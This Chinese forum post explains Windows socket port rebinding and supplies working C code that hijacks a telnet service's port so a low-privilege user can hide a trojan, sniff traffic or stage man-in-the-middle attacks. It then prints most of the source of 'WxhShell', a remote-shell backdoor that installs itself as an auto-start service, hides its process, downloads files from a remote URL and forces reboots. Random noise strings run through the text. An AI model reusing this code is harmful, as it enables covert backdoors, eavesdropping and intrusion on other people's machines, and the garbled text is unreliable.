社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10559阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `;b@a<Wl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \]}|m<R  
L+Yn}"gIs  
  saddr.sin_family = AF_INET; -frmvNJ F  
Rk.YnA_J6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R%o:'-~  
)%x oN<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }\}pSqW  
[H z_x(t26  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xRYL{+  
/kE3V`es  
  这意味着什么?意味着可以进行如下的攻击: /%|JP{   
'gk.J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1eQ9(hzF  
b{<qt})  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y~Y-L<`I  
F<q'ivj:w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?|'+5$  
1o)@{x/pd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cjt<&b*  
By{zX,6'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sHD8#t^{  
%eWzr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6s\niro2  
0xrr9X<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6M9t<DQV  
9Z]~c^UB  
  #include occ^bq  
  #include e5KsKzu a  
  #include :+{G|goZ*  
  #include    ~>&7~N8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [G2@[Ct Y1  
  int main() /!;oO_U:#  
  { C,7d  
  WORD wVersionRequested; << `*o[^L  
  DWORD ret; b/'{6zn  
  WSADATA wsaData; xF: O6KL  
  BOOL val; S9R(;  
  SOCKADDR_IN saddr; vdw5T&Q{{C  
  SOCKADDR_IN scaddr; I Y%M5(&Q  
  int err; YXI_ '  
  SOCKET s; i^Vb42%y  
  SOCKET sc; <WFA3  
  int caddsize; zWKnkIit,  
  HANDLE mt; m3W:\LTTp  
  DWORD tid;   n% zW6}  
  wVersionRequested = MAKEWORD( 2, 2 ); r/zuo6"5  
  err = WSAStartup( wVersionRequested, &wsaData ); d%_=r." Y  
  if ( err != 0 ) { }a?PB o`  
  printf("error!WSAStartup failed!\n"); >B>[_8=f@  
  return -1; ;6S,|rC ]  
  } xIu #  
  saddr.sin_family = AF_INET; ta"uxL\gge  
   x|4m*>Ke  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q#"p6ZmI  
MU6|>{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9A_{*E(wd  
  saddr.sin_port = htons(23); "fK`F/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D.d(D:  
  { fkf69,+"]  
  printf("error!socket failed!\n"); $ N`V%<W  
  return -1; nOq?Q  
  } ql"&E{u?  
  val = TRUE; tLCu7%P>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BS3Aczwk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J{>9ctN  
  { .Zo%6[X  
  printf("error!setsockopt failed!\n"); U%%fKL=S  
  return -1; "XPBNv\>_  
  } od~^''/b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l{b<rUh5W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EUBJnf:q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fH#yJd2?f  
dRw O t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AI KLJvte  
  { q5 eyle6  
  ret=GetLastError(); &L7u//  
  printf("error!bind failed!\n"); cr GFU?8  
  return -1; 6oTWW@  
  } ;+v5li  
  listen(s,2); t][U`1>i  
  while(1) oCtg{*vp  
  { b-*3]gB  
  caddsize = sizeof(scaddr); wQ1_Q8:Z  
  //接受连接请求 U -RR>j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [6 d~q]KH  
  if(sc!=INVALID_SOCKET) }YV,uJH[  
  { 9Z?P/ o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5>9KW7^L  
  if(mt==NULL) `Fn"%P!  
  { eKRslMa  
  printf("Thread Creat Failed!\n"); BdW Rm=  
  break; \9;SOAv  
  } dA,irb I0W  
  } 'Cki"4%<  
  CloseHandle(mt); zzlqj){F  
  } a[e&O&Z  
  closesocket(s); E`E$ }iLs  
  WSACleanup(); oJ\)-qSf  
  return 0; Wp2W:JX:  
  }   K6uZ4 m;  
  DWORD WINAPI ClientThread(LPVOID lpParam) sb1Zm*m6  
  { C%c}lv8;^  
  SOCKET ss = (SOCKET)lpParam; kXj rc  
  SOCKET sc; ! z!lQ~  
  unsigned char buf[4096]; j[E8C$lW  
  SOCKADDR_IN saddr; woSO4e/  
  long num; $O\I9CGr$  
  DWORD val; "h@|XI  
  DWORD ret; hMcSB8?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~* R:UTBtw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L&D+0p^lI  
  saddr.sin_family = AF_INET; FI.Ae/(U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xXa* d  
  saddr.sin_port = htons(23); Kmk}Yz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N 3M:|D  
  { 24Y8n  
  printf("error!socket failed!\n"); f+ }Rj0A  
  return -1; R,3E_me"}  
  } It5U=PU  
  val = 100; n jfh4}g:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z.Otci>J  
  { %_kXC~hH_  
  ret = GetLastError(); ]'L#'"@  
  return -1; 4=; . <  
  } ,5Vc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {|R@\G.1(  
  { YN=dLr([<  
  ret = GetLastError(); +2DzX/3  
  return -1; 96V@+I  
  } qcNu9Ih  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5g x9W\a ?  
  { EnM }H9A  
  printf("error!socket connect failed!\n"); d65fkz==A)  
  closesocket(sc); xH,D bAC;  
  closesocket(ss); /0S2Om h  
  return -1; ZsgJ6 Y  
  } {S9't;%]  
  while(1) %i!=.7o.  
  { /mi9 q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kiah,7V/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S.: m$s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qw#wZ'<n  
  num = recv(ss,buf,4096,0); @yGK $<R  
  if(num>0) z%4E~u10  
  send(sc,buf,num,0); r8R]0\  
  else if(num==0) 1 #zIAN>  
  break; )A@ }mIs"  
  num = recv(sc,buf,4096,0); "mbjS(-eg  
  if(num>0) g6s&nH`Z2  
  send(ss,buf,num,0); QU#u5sX A  
  else if(num==0) !Q/%N#  
  break; '8k{\>  
  } *A^j>lV  
  closesocket(ss); ;^[VqFpeS  
  closesocket(sc); nnzfKn:J  
  return 0 ; %OV)O-  
  } Z(|@C(IL0\  
C >@T+xOZ  
`Kt]i5[ "  
========================================================== ~o <+tL  
k=nN#SMn  
下边附上一个代码,,WXhSHELL z1K}] z%  
=\QKzQ'BC  
========================================================== HsF8$C$z  
)335X wA+  
#include "stdafx.h" p aQ"[w  
!,SGKLs.m  
#include <stdio.h> *X_-8 ^~  
#include <string.h> +zl2| '  
#include <windows.h>  WR;)  
#include <winsock2.h> /Ezx'h3Q  
#include <winsvc.h> EMTAl;P  
#include <urlmon.h> B#A .-nb  
q2$-U&  
#pragma comment (lib, "Ws2_32.lib") ORc20NFy7  
#pragma comment (lib, "urlmon.lib") Mnv2tnU]  
8E/wUN,Lxj  
#define MAX_USER   100 // 最大客户端连接数 Vgj&h dbd  
#define BUF_SOCK   200 // sock buffer zXEu3h  
#define KEY_BUFF   255 // 输入 buffer ]Qu.-F#g  
O(_a6s+m  
#define REBOOT     0   // 重启 342m=7lK  
#define SHUTDOWN   1   // 关机 I7S#vIMXR.  
:xBG~D  
#define DEF_PORT   5000 // 监听端口 !5wuBJ0  
9B&fEmgEc?  
#define REG_LEN     16   // 注册表键长度 0afDqvrC6  
#define SVC_LEN     80   // NT服务名长度 en5sqKqh+  
{hNvCk  
// 从dll定义API >l>;"R9N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d3IMQ_k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <mk'n6B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2!Gb4V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <'N(`.&3C  
M'gL_Xsei  
// wxhshell配置信息 (b*PDhl`+  
struct WSCFG { b@> MA  
  int ws_port;         // 监听端口 iPuX  
  char ws_passstr[REG_LEN]; // 口令 drM@6$k  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ofm?`SE*|  
  char ws_regname[REG_LEN]; // 注册表键名 }5nVZ;  
  char ws_svcname[REG_LEN]; // 服务名 r](%9Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^'Z?BK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C||9u}Q<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m 4r!Ck|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pw :{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O'i!}$=g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 89kxRH\IhG  
X9S` #N  
}; 5.TeH@(  
j} .,|7X  
// default Wxhshell configuration 1[ 4)Sq?  
struct WSCFG wscfg={DEF_PORT, h;lg^zlTb  
    "xuhuanlingzhe", m) -D rbE  
    1, c?/R=/H  
    "Wxhshell", !4 =]@eFk  
    "Wxhshell", d OYEl<!J  
            "WxhShell Service", ]E:K8E  
    "Wrsky Windows CmdShell Service", zF([{5r[!)  
    "Please Input Your Password: ", 4owM;y  
  1, |Q\O% cb  
  "http://www.wrsky.com/wxhshell.exe", "N*bV  
  "Wxhshell.exe" Z6S?xfhr'{  
    }; ~TvKMW6/#  
e%wzcn  
// 消息定义模块 VHbQLJ0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;J&p17~T9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kM;fxR:-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?\.DG`Zxc  
char *msg_ws_ext="\n\rExit."; #JD:i%  
char *msg_ws_end="\n\rQuit."; ,'%wadOo  
char *msg_ws_boot="\n\rReboot..."; k7cM.<s!  
char *msg_ws_poff="\n\rShutdown..."; \}p!S$`  
char *msg_ws_down="\n\rSave to "; G< _<j}=  
m5'nqy F  
char *msg_ws_err="\n\rErr!"; {S6:LsFfm  
char *msg_ws_ok="\n\rOK!"; ,jc')#]9B  
^8q(_#w`K  
char ExeFile[MAX_PATH]; M. o}?  
int nUser = 0; L8WYxJ k  
HANDLE handles[MAX_USER]; Kwmtt  
int OsIsNt; W)z@>4`Bb  
IJQ" *;  
SERVICE_STATUS       serviceStatus; CUI\:a-   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v\}s(X(J  
X?gH(mn  
// 函数声明 RO!em~{D*  
int Install(void); ]K!NLvz  
int Uninstall(void); >&Ios<67g  
int DownloadFile(char *sURL, SOCKET wsh); ar[I| Q_  
int Boot(int flag); A(84cmq!q  
void HideProc(void); BufXnMh.  
int GetOsVer(void); tM DJ,rT  
int Wxhshell(SOCKET wsl); e{6I-5`|,#  
void TalkWithClient(void *cs); q?0&&"T}  
int CmdShell(SOCKET sock); AL{r/h  
int StartFromService(void); eR|u']Em>T  
int StartWxhshell(LPSTR lpCmdLine); $9@jV<Q1  
?igA+(.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UfxY D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VoG:3qN  
sgfci{~  
// 数据结构和表定义 {?YBJnG}x  
SERVICE_TABLE_ENTRY DispatchTable[] = {4^NZTjd@  
{ 7]F@ g}8  
{wscfg.ws_svcname, NTServiceMain}, # KgDOCQH  
{NULL, NULL} b sM ]5^  
}; 'jA>P\@8  
A8T75?lL(  
// 自我安装 IZSJ+KO  
int Install(void) AA &>6JB{  
{ <_>xkQbn2  
  char svExeFile[MAX_PATH]; ;kfl5  
  HKEY key; M$$Lsb [  
  strcpy(svExeFile,ExeFile); m/bP`-/,  
h#~\-j9>  
// 如果是win9x系统,修改注册表设为自启动 k/,7FDO?m  
if(!OsIsNt) { Hpj7EaMZ_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AO~f=GW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ANuO(^  
  RegCloseKey(key); -PiakX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,k |QuOrCh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %/}46z9\  
  RegCloseKey(key); "STd ;vR  
  return 0; i1JVvNMQ,  
    } h]>7Dl]  
  } ]WvV*FL9D3  
} iPCDxDLN3V  
else { ]9lR:V sw  
1%$Z%?  
// 如果是NT以上系统,安装为系统服务 qq '%9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #t<  
if (schSCManager!=0) ;km^ OO$  
{ 77H"=  
  SC_HANDLE schService = CreateService L]Dq1q8`  
  ( _~.S~;o!b  
  schSCManager, SQ la]%  
  wscfg.ws_svcname, Y|nC_7&Bv  
  wscfg.ws_svcdisp, ddzMwucjp  
  SERVICE_ALL_ACCESS, Px?zih!6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r) g:-[Ox9  
  SERVICE_AUTO_START, Y+nk:9  
  SERVICE_ERROR_NORMAL, RMs+pN<5  
  svExeFile, !6FO[^h||H  
  NULL, $!7$0WbC  
  NULL, k*K.ZS688  
  NULL, a\B'Qe+  
  NULL, U(:Di]>{  
  NULL i9eE/ .  
  ); p8(Z{TSv  
  if (schService!=0) vw6DHN)k  
  { Dg}$;PK  
  CloseServiceHandle(schService); ;5tQV%V^Q  
  CloseServiceHandle(schSCManager); &P&VJLAe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fL~@v-l#~  
  strcat(svExeFile,wscfg.ws_svcname); r !;wKO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m[qW)N:w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Eg(.L,dj  
  RegCloseKey(key); g4^3H3Pd  
  return 0; <.=-9O6  
    } @tlWyUju  
  } )x3p7t)#  
  CloseServiceHandle(schSCManager); >Xi/ p$$7u  
} `+!F#.  
} LnPG+<  
#z =$*\u  
return 1; 'x<o{Hi"\B  
} \k3EFSm  
J1Run0  
// 自我卸载 ]Jo}F@\g  
int Uninstall(void) +!mEP>  
{ Ff1!+P,  
  HKEY key; Ch_eK^ g1  
#ri;{d^6  
if(!OsIsNt) { }H:wgy`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4 q\&Mb3  
  RegDeleteValue(key,wscfg.ws_regname); rgF4 W8  
  RegCloseKey(key); -I[KIeF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]Ye`  
  RegDeleteValue(key,wscfg.ws_regname); nd }Z[)  
  RegCloseKey(key); 1s.>_  
  return 0; $|t={s34  
  } Nx"|10gC  
} n(W&GSj|u9  
} O9rA3qv B  
else { C!U$<_I\2  
 9XhcA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q5HSik4  
if (schSCManager!=0) a SMoee@!  
{  'Pxq>Os  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mrBK{@n  
  if (schService!=0) QUDpAW  
  { 5?m4B:W  
  if(DeleteService(schService)!=0) { -vv_6Z L[  
  CloseServiceHandle(schService); 0i>p1/kv  
  CloseServiceHandle(schSCManager); {E0\mZ2  
  return 0; 1A[(RT]  
  } mbns%%GJU  
  CloseServiceHandle(schService); O8~RfB  
  } e,MgR\F}  
  CloseServiceHandle(schSCManager); dDa&:L  
} *fz#B/ _o  
} nl~ Z,Y$  
gwr?(:?  
return 1; 3taGb>15  
} 2R W~jn"  
A0OA7m:~4  
// 从指定url下载文件 /vC!__K9:  
int DownloadFile(char *sURL, SOCKET wsh) 7A h   
{ ^7yaM B!  
  HRESULT hr; BkP4.XRI  
char seps[]= "/"; +X`&VO6~  
char *token; CY.4>,  
char *file; 9bhubx\^/  
char myURL[MAX_PATH]; DF UTQ:N  
char myFILE[MAX_PATH]; q]Kv.x]$R  
m&s>Sn+  
strcpy(myURL,sURL); E#,\[<pc  
  token=strtok(myURL,seps); :^U>n{   
  while(token!=NULL) 7!wc'~;  
  { Kv)}  
    file=token; ":q+"*fy  
  token=strtok(NULL,seps); GFju:8P?  
  } B&_Z&H=  
/8!n7a7  
GetCurrentDirectory(MAX_PATH,myFILE); ;&'ryYrex  
strcat(myFILE, "\\"); %hlgLM  
strcat(myFILE, file); x6*y$D^B  
  send(wsh,myFILE,strlen(myFILE),0); ,SNt*t1"  
send(wsh,"...",3,0); XE&h&v=>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b- bvkPN  
  if(hr==S_OK) g*`xEb= '  
return 0; sT "q]  
else M2c7 |  
return 1; oz]&=>$1I  
xR8.1T?8  
} t&NpC;>v  
@WJ\W`P  
// 系统电源模块 :KR KD  
int Boot(int flag) QPh3(K1w^  
{ OhMJt&s9P=  
  HANDLE hToken; z&Aya*0v`  
  TOKEN_PRIVILEGES tkp; 8Lgm50bs  
y/kB`Z(Yj  
  if(OsIsNt) { yimK"4!j5A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W/b)OlG"2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aEh9 za  
    tkp.PrivilegeCount = 1; [~X&J#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7!h> < sx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BFg&@7.X  
if(flag==REBOOT) { 1Lk(G9CoY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (xoYYO  
  return 0; W amOg0  
} +GL$[ 5G  
else { 8UXRM :Z"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V"'PA-z3  
  return 0; &:IcwD&  
} k3nvML,bv  
  } 9thG4T8  
  else { eV/oY1B]<  
if(flag==REBOOT) { kU=U u>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R&&&RI3{  
  return 0; A<"< DDy  
} T:Ee6I 3l  
else { j;7E+Yp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;,e16^\' &  
  return 0; >KvK'Mus/  
} t*-c X  
} kP^A~ZO.  
-`eB4j'7  
return 1; xy4+ [u  
} w= n(2M56C  
ciiI{T[Z  
// win9x进程隐藏模块 OG$v"Yf~  
void HideProc(void) T_=WX_h $  
{ _MLf58  
vJ=Q{_D=\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S*|/txE'~Y  
  if ( hKernel != NULL ) 1JfZstT  
  { !U>WAD9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |3yG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qubu;[0+a  
    FreeLibrary(hKernel); qIQRl1Tw;V  
  } SY[3O  
Bt(<Xj D  
return; Bf;_~1+vLG  
} ZV+tHgzlv5  
{srxc4R`  
// 获取操作系统版本 )7NI5x^$  
int GetOsVer(void)  fFqYRK  
{ r{9fm,  
  OSVERSIONINFO winfo; H~nZ=`P9&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C!Srv 7  
  GetVersionEx(&winfo); e@anX^M;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0kOwA%m  
  return 1; X(MS!RV  
  else t4G$#~  
  return 0; RK &>!^  
} \|HNFxT`  
z]+L=+,,  
// 客户端句柄模块 =3w;<1 ?'  
int Wxhshell(SOCKET wsl) p^|l ',e  
{ G%t>Ll``C  
  SOCKET wsh; E'DHO2 Y  
  struct sockaddr_in client; ]lBCK  
  DWORD myID; yG/!K uA  
`(0B09~7  
  while(nUser<MAX_USER) BDWbWA 6  
{ SnQT1U%  
  int nSize=sizeof(client); QO(F%&v++  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |oXd4  
  if(wsh==INVALID_SOCKET) return 1; LrbD%2U$j5  
vBl:&99[/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CL4N/[UM  
if(handles[nUser]==0) o?hr>b  
  closesocket(wsh); iI";m0Ny  
else .E}lAd.Mn  
  nUser++; )B0%"0?`8  
  } DI{*E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pcwYgq#5  
Rt+-ud{O  
  return 0; ufL<L;Z\;  
} G#GZt\)F  
+K`A2&F9  
// 关闭 socket r.\L@Y<  
void CloseIt(SOCKET wsh) @ gWd  
{ Bso#+v5  
closesocket(wsh); c:Nm!+5_(  
nUser--; 0>N6.itOz  
ExitThread(0); KZw~Ch}b9  
} &b tI#  
Z%qtAPd  
// 客户端请求句柄 *b. >  
void TalkWithClient(void *cs) UgC65O2  
{ i#`q<+/q  
-PE_qZ^  
  SOCKET wsh=(SOCKET)cs; sE6>JaH  
  char pwd[SVC_LEN]; 4}uOut  
  char cmd[KEY_BUFF]; V^5d5Ao  
char chr[1]; !{t|z=Qg  
int i,j; /q]rA  
^ U*y*l$  
  while (nUser < MAX_USER) { $ItjVc@U  
@a?7D;+<  
if(wscfg.ws_passstr) { (O5Yd 6u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "+ou!YK+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^!&6 =rb  
  //ZeroMemory(pwd,KEY_BUFF); xf]K  
      i=0; EJ9hgE  
  while(i<SVC_LEN) { `.W2t5 Y  
tbd=A]B-  
  // 设置超时 E5bVCAz  
  fd_set FdRead; k||t<&`Ze  
  struct timeval TimeOut; AAevN3a#nI  
  FD_ZERO(&FdRead); h^yqrDyJ  
  FD_SET(wsh,&FdRead); 'p&,'+x  
  TimeOut.tv_sec=8; [X.bR$>  
  TimeOut.tv_usec=0; FvxM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N>!:bF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J +u}uN@  
) CP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fz%;_%j  
  pwd=chr[0]; N]A# ecm  
  if(chr[0]==0xd || chr[0]==0xa) { 52e>f5m.  
  pwd=0; CJ :V%|  
  break; mH'~pR>t  
  } N T`S)P*?  
  i++; 6Yj{% G  
    } bO=|utpk  
;.A}c)b  
  // 如果是非法用户,关闭 socket { qNPhi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u5(8k_7  
} 0ns\:2)cEB  
7>JTQ CJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]:|B).  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $.SBW=^V  
H@Z_P p?  
while(1) { /T w{JO#Q  
4ba*Nc*Yc  
  ZeroMemory(cmd,KEY_BUFF); : uncOd.  
2B ]q1>a!  
      // 自动支持客户端 telnet标准   VfX^iG r  
  j=0; O *sU|jeO  
  while(j<KEY_BUFF) { q< JCgO-F<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a5 D|#9  
  cmd[j]=chr[0]; O$,F ga  
  if(chr[0]==0xa || chr[0]==0xd) { q&3 ;e4  
  cmd[j]=0; 53HA6:Q[  
  break; cgg6E O(  
  } 7n8nJTU{4j  
  j++; mptFd  
    } IOy0WHl|  
`2mddx8  
  // 下载文件 X0lPRk53(  
  if(strstr(cmd,"http://")) { ge~@}&#iO@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )^>LnQ_u  
  if(DownloadFile(cmd,wsh)) ".?4`@7F\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3.zNHN5  
  else m=dNJF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8sL  
  } !J$r|IX5  
  else { aZFpt/.d  
mq`/nAmt  
    switch(cmd[0]) { "tJ+v*E  
  4&iQo'  
  // 帮助 ul~ux$a  
  case '?': { "r9Rr_, >  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qs6<(zaqkt  
    break; ]I?.1X5d0  
  } 7EJ2 On  
  // 安装 @N=vmtLP  
  case 'i': { K@JZ$  
    if(Install()) Y t(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B `(jTL  
    else 3SVGx< ,2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P`Np +E#I  
    break; uYh!04u  
    } AZj&;!}  
  // 卸载 3$|/7(M&DA  
  case 'r': { uo9#(6  
    if(Uninstall()) f1 ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OF-k7g7  
    else Jj4 HJ9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7sot?gF  
    break; ){^J8]b7#  
    } Qb536RpcTY  
  // 显示 wxhshell 所在路径 As:O|!F  
  case 'p': { XiUq#84Q  
    char svExeFile[MAX_PATH]; w,UE0i9I  
    strcpy(svExeFile,"\n\r"); (MwRe?Ih  
      strcat(svExeFile,ExeFile); ?uWUs )9  
        send(wsh,svExeFile,strlen(svExeFile),0); p~D}Iyww1_  
    break; +|A`~\@N  
    } P}R:o   
  // 重启 'VDWJTia  
  case 'b': { +QChD*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gm~([Ln{  
    if(Boot(REBOOT))  :eN&wQ5q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7^L  
    else { N /4E ~^2  
    closesocket(wsh); _imuyt".+  
